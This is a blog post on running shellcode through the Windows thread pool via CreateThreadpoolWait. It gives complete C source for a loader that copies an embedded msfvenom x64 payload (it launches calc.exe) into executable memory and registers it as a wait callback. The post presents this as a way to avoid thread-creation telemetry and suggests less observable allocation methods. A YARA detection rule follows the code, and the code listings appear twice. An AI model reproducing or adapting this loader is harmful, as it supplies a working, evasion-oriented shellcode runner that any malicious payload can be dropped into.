October 15, 2026
Shellcode Execution via CreateThreadpoolWait
Welcome to this new Medium post. Today we are looking at a shellcode execution technique that abuses the Windows thread pool (β¦

By S12 - 0x12Dark Development
4 min read
Welcome to this new Medium post. Today we are looking at a shellcode execution technique that abuses the Windows thread pool ( CreateThreadpoolWait) to dispatch shellcode on a worker thread.
The technique was originally researched and documented by cocomelonc, whose work I highly recommend following
Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
0x12 Dark Development Skip to content Join our offensive development courses and modules, and explore the techniques database with 100+ realβ¦
Introduction
The Windows thread pool is a set of worker threads. Applications use it to run callbacks asynchronously without managing threads themselves. The OS keeps a pool of pre-existing threads ready to execute work items. Because the threads already exist, your callback executes on one of them without any new thread creation
CreateThreadpoolWait registers a callback function and an optional context pointer against a pool wait object
PTP_WAIT CreateThreadpoolWait(
[in] PTP_WAIT_CALLBACK pfnwa,
[in, out, optional] PVOID pv,
[in, optional] PTP_CALLBACK_ENVIRON pcbe
);PTP_WAIT CreateThreadpoolWait(
[in] PTP_WAIT_CALLBACK pfnwa,
[in, out, optional] PVOID pv,
[in, optional] PTP_CALLBACK_ENVIRON pcbe
);A companion call, SetThreadpoolWait, associates that wait object with a waitable handle
VOID SetThreadpoolWait(
[in, out] PTP_WAIT pwa,
[in, optional] HANDLE h,
[in, optional] PFILETIME pftTimeout
);VOID SetThreadpoolWait(
[in, out] PTP_WAIT pwa,
[in, optional] HANDLE h,
[in, optional] PFILETIME pftTimeout
);When the handle becomes signaled (in our case, when we call SetEvent on a manual trigger) Windows queues the registered callback to a worker thread.
Then the worker enters the callback with four arguments following the x64 calling convention:
RCX = PTP_CALLBACK_INSTANCE (pool instance handle)
RDX = PVOID (your context pointer, &ctx in our case)
R8 = PTP_WAIT (the wait object)
R9D = TP_WAIT_RESULT (WAIT_OBJECT_0 on signal, WAIT_TIMEOUT on timeout)RCX = PTP_CALLBACK_INSTANCE (pool instance handle)
RDX = PVOID (your context pointer, &ctx in our case)
R8 = PTP_WAIT (the wait object)
R9D = TP_WAIT_RESULT (WAIT_OBJECT_0 on signal, WAIT_TIMEOUT on timeout)A standard msfvenom shellcode ignores all four of these and runs its payload directly. The pool worker thread is the execution context
Methodology
Allocate and prepare the shellcode
Allocate a PAGE_READWRITE region with VirtualAlloc, copy the shellcode bytes into it, then flip the protection to PAGE_EXECUTE_READ with VirtualProtect.
Create the synchronization events
Create two events. The trigger event is auto-reset (bManualReset = FALSE) and starts unsignaled. The completed event is manual-reset (bManualReset = TRUE) and also starts unsignaled. Store the completed handle in a CALLBACK_CONTEXT struct so it is accessible if needed
Register the shellcode as the wait callback
Call CreateThreadpoolWait with the shellcode address cast to PTP_WAIT_CALLBACK, and the context pointer as the second argument. This does not execute anything yet, it only registers the entry point.
Arm the wait object and signal
Call SetThreadpoolWait to associate the wait object with the trigger event, then call SetEvent on the trigger. Windows queues the shellcode to a pool worker
Code
// https://cocomelonc.github.io/malware/2026/10/07/malware-tricks-67.html
#define _WIN32_WINNT 0x0600
#include <windows.h>
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#ifndef _WIN64
#error requires x64
#endif
typedef struct {
HANDLE completed;
DWORD worker_id;
TP_WAIT_RESULT wait_result;
} CALLBACK_CONTEXT;
// https://cocomelonc.github.io/malware/2026/10/07/malware-tricks-67.html
static unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
static void report_error(const char* api) {
fprintf(stderr, "%s failed: %lu\n", api, (unsigned long)GetLastError());
}
static void do_cleanup(PTP_WAIT wait, LPVOID payload, HANDLE completed, HANDLE trigger) {
if (wait != NULL) {
SetThreadpoolWait(wait, NULL, NULL);
WaitForThreadpoolWaitCallbacks(wait, TRUE);
CloseThreadpoolWait(wait);
}
if (payload != NULL) {
VirtualFree(payload, 0, MEM_RELEASE);
}
if (completed != NULL) {
CloseHandle(completed);
}
if (trigger != NULL) {
CloseHandle(trigger);
}
}
// allocate RW memory, copy shellcode, flip to RX, flush icache
static BOOL setup_payload(LPVOID* out_payload, SIZE_T sc_size) {
DWORD old_prot = 0;
LPVOID payload = VirtualAlloc(NULL, sc_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (payload == NULL) {
report_error("VirtualAlloc");
return FALSE;
}
memcpy(payload, shellcode, sc_size);
if (!VirtualProtect(payload, sc_size, PAGE_EXECUTE_READ, &old_prot)) {
report_error("VirtualProtect");
VirtualFree(payload, 0, MEM_RELEASE);
return FALSE;
}
if (!FlushInstructionCache(GetCurrentProcess(), payload, sc_size)) {
report_error("FlushInstructionCache");
VirtualFree(payload, 0, MEM_RELEASE);
return FALSE;
}
*out_payload = payload;
return TRUE;
}
// create trigger (auto-reset) and completed (manual-reset) events
static BOOL setup_events(HANDLE* out_trigger, HANDLE* out_completed, CALLBACK_CONTEXT* ctx) {
HANDLE trigger = CreateEventW(NULL, FALSE, FALSE, NULL);
if (trigger == NULL) {
report_error("CreateEventW trigger");
return FALSE;
}
HANDLE completed = CreateEventW(NULL, TRUE, FALSE, NULL);
if (completed == NULL) {
report_error("CreateEventW completed");
CloseHandle(trigger);
return FALSE;
}
ctx->completed = completed;
*out_trigger = trigger;
*out_completed = completed;
return TRUE;
}
int main(void) {
HANDLE trigger = NULL;
HANDLE completed = NULL;
PTP_WAIT wait = NULL;
LPVOID payload = NULL;
SIZE_T sc_size = sizeof(shellcode) - 1;
int status = 0;
CALLBACK_CONTEXT ctx = { NULL, 0, WAIT_FAILED };
if (!setup_events(&trigger, &completed, &ctx)) {
return 1;
}
if (!setup_payload(&payload, sc_size)) {
do_cleanup(NULL, NULL, completed, trigger);
return 1;
}
// register the shellcode address directly as the wait callback
// Windows calls it with: RCX=instance, RDX=&ctx, R8=wait, R9D=wait_result
// the msfvenom shellcode ignores these arguments and runs calc directly
wait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)payload, &ctx, NULL);
if (wait == NULL) {
report_error("CreateThreadpoolWait");
do_cleanup(NULL, payload, completed, trigger);
return 1;
}
printf("main thread id: %lu\n", (unsigned long)GetCurrentThreadId());
printf("shellcode at: %p\n", payload);
SetThreadpoolWait(wait, trigger, NULL);
puts("signaling trigger event...");
if (!SetEvent(trigger)) {
report_error("SetEvent");
do_cleanup(wait, payload, completed, trigger);
return 1;
}
// the msfvenom shellcode does not call SetEventWhenCallbackReturns,
// so we use a timeout instead of INFINITE
DWORD wait_res = WaitForSingleObject(completed, 5000);
if (wait_res == WAIT_TIMEOUT) {
puts("timeout reached - shellcode ran but did not signal completion");
}
else if (wait_res != WAIT_OBJECT_0) {
report_error("WaitForSingleObject");
status = 1;
}
else {
puts("shellcode completed and signaled the completion event");
}
do_cleanup(wait, payload, completed, trigger);
return status;
}// https://cocomelonc.github.io/malware/2026/10/07/malware-tricks-67.html
#define _WIN32_WINNT 0x0600
#include <windows.h>
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#ifndef _WIN64
#error requires x64
#endif
typedef struct {
HANDLE completed;
DWORD worker_id;
TP_WAIT_RESULT wait_result;
} CALLBACK_CONTEXT;
// https://cocomelonc.github.io/malware/2026/10/07/malware-tricks-67.html
static unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
static void report_error(const char* api) {
fprintf(stderr, "%s failed: %lu\n", api, (unsigned long)GetLastError());
}
static void do_cleanup(PTP_WAIT wait, LPVOID payload, HANDLE completed, HANDLE trigger) {
if (wait != NULL) {
SetThreadpoolWait(wait, NULL, NULL);
WaitForThreadpoolWaitCallbacks(wait, TRUE);
CloseThreadpoolWait(wait);
}
if (payload != NULL) {
VirtualFree(payload, 0, MEM_RELEASE);
}
if (completed != NULL) {
CloseHandle(completed);
}
if (trigger != NULL) {
CloseHandle(trigger);
}
}
// allocate RW memory, copy shellcode, flip to RX, flush icache
static BOOL setup_payload(LPVOID* out_payload, SIZE_T sc_size) {
DWORD old_prot = 0;
LPVOID payload = VirtualAlloc(NULL, sc_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (payload == NULL) {
report_error("VirtualAlloc");
return FALSE;
}
memcpy(payload, shellcode, sc_size);
if (!VirtualProtect(payload, sc_size, PAGE_EXECUTE_READ, &old_prot)) {
report_error("VirtualProtect");
VirtualFree(payload, 0, MEM_RELEASE);
return FALSE;
}
if (!FlushInstructionCache(GetCurrentProcess(), payload, sc_size)) {
report_error("FlushInstructionCache");
VirtualFree(payload, 0, MEM_RELEASE);
return FALSE;
}
*out_payload = payload;
return TRUE;
}
// create trigger (auto-reset) and completed (manual-reset) events
static BOOL setup_events(HANDLE* out_trigger, HANDLE* out_completed, CALLBACK_CONTEXT* ctx) {
HANDLE trigger = CreateEventW(NULL, FALSE, FALSE, NULL);
if (trigger == NULL) {
report_error("CreateEventW trigger");
return FALSE;
}
HANDLE completed = CreateEventW(NULL, TRUE, FALSE, NULL);
if (completed == NULL) {
report_error("CreateEventW completed");
CloseHandle(trigger);
return FALSE;
}
ctx->completed = completed;
*out_trigger = trigger;
*out_completed = completed;
return TRUE;
}
int main(void) {
HANDLE trigger = NULL;
HANDLE completed = NULL;
PTP_WAIT wait = NULL;
LPVOID payload = NULL;
SIZE_T sc_size = sizeof(shellcode) - 1;
int status = 0;
CALLBACK_CONTEXT ctx = { NULL, 0, WAIT_FAILED };
if (!setup_events(&trigger, &completed, &ctx)) {
return 1;
}
if (!setup_payload(&payload, sc_size)) {
do_cleanup(NULL, NULL, completed, trigger);
return 1;
}
// register the shellcode address directly as the wait callback
// Windows calls it with: RCX=instance, RDX=&ctx, R8=wait, R9D=wait_result
// the msfvenom shellcode ignores these arguments and runs calc directly
wait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)payload, &ctx, NULL);
if (wait == NULL) {
report_error("CreateThreadpoolWait");
do_cleanup(NULL, payload, completed, trigger);
return 1;
}
printf("main thread id: %lu\n", (unsigned long)GetCurrentThreadId());
printf("shellcode at: %p\n", payload);
SetThreadpoolWait(wait, trigger, NULL);
puts("signaling trigger event...");
if (!SetEvent(trigger)) {
report_error("SetEvent");
do_cleanup(wait, payload, completed, trigger);
return 1;
}
// the msfvenom shellcode does not call SetEventWhenCallbackReturns,
// so we use a timeout instead of INFINITE
DWORD wait_res = WaitForSingleObject(completed, 5000);
if (wait_res == WAIT_TIMEOUT) {
puts("timeout reached - shellcode ran but did not signal completion");
}
else if (wait_res != WAIT_OBJECT_0) {
report_error("WaitForSingleObject");
status = 1;
}
else {
puts("shellcode completed and signaled the completion event");
}
do_cleanup(wait, payload, completed, trigger);
return status;
}Proof of Concept
We run the code in Visual Studio, and the msfvenom shellcode is executed:
Detection
YARA
rule ThreadpoolWait_ShellcodeExecution
{
meta:
author = "0x12 Dark Development"
description = "Detects shellcode execution via CreateThreadpoolWait callback registration"
reference = "https://cocomelonc.github.io/malware/2026/10/07/malware-tricks-67.html"
strings:
$api1 = "CreateThreadpoolWait" ascii wide
$api2 = "SetThreadpoolWait" ascii wide
$api3 = "VirtualAlloc" ascii wide
$api4 = "VirtualProtect" ascii wide
$api5 = "SetEvent" ascii wide
// WaitForThreadpoolWaitCallbacks in cleanup path
$api6 = "WaitForThreadpoolWaitCallbacks" ascii wide
// PAGE_EXECUTE_READ constant (0x20) passed to VirtualProtect
$page_rx = { 6A 20 } // push 0x20
// msfvenom x64 exec stub prologue
$sc_stub = { FC 48 83 E4 F0 E8 C0 00 00 00 }
condition:
uint16(0) == 0x5A4D and
all of ($api1, $api2, $api3, $api4) and
$api6 and
($page_rx or $sc_stub)
}rule ThreadpoolWait_ShellcodeExecution
{
meta:
author = "0x12 Dark Development"
description = "Detects shellcode execution via CreateThreadpoolWait callback registration"
reference = "https://cocomelonc.github.io/malware/2026/10/07/malware-tricks-67.html"
strings:
$api1 = "CreateThreadpoolWait" ascii wide
$api2 = "SetThreadpoolWait" ascii wide
$api3 = "VirtualAlloc" ascii wide
$api4 = "VirtualProtect" ascii wide
$api5 = "SetEvent" ascii wide
// WaitForThreadpoolWaitCallbacks in cleanup path
$api6 = "WaitForThreadpoolWaitCallbacks" ascii wide
// PAGE_EXECUTE_READ constant (0x20) passed to VirtualProtect
$page_rx = { 6A 20 } // push 0x20
// msfvenom x64 exec stub prologue
$sc_stub = { FC 48 83 E4 F0 E8 C0 00 00 00 }
condition:
uint16(0) == 0x5A4D and
all of ($api1, $api2, $api3, $api4) and
$api6 and
($page_rx or $sc_stub)
}0x12DarkSandbox
Test your own payloads against the same stack with 3 free scans on each day or go deeper with a scan pack or monthly plan
Upload & Scan Upload malware samples for parallel analysis across isolated Windows VMs with multi-engine AV scanning
Conclusions
CreateThreadpoolWait gives you shellcode execution on a existing worker thread without any explicit thread creation call. The pool dispatches your callback when an event fires, the shellcode runs, and from the thread creation telemetry perspective nothing happened.
The natural next step is replacing the allocation with something less observable: stomping an existing RX region, using NtMapViewOfSection with a shared section, or any approach that avoids a fresh executable allocation
π Follow me: π¦ X | π¬ Discord Server | πΈ Instagram | Newsletter | YouTube
S12.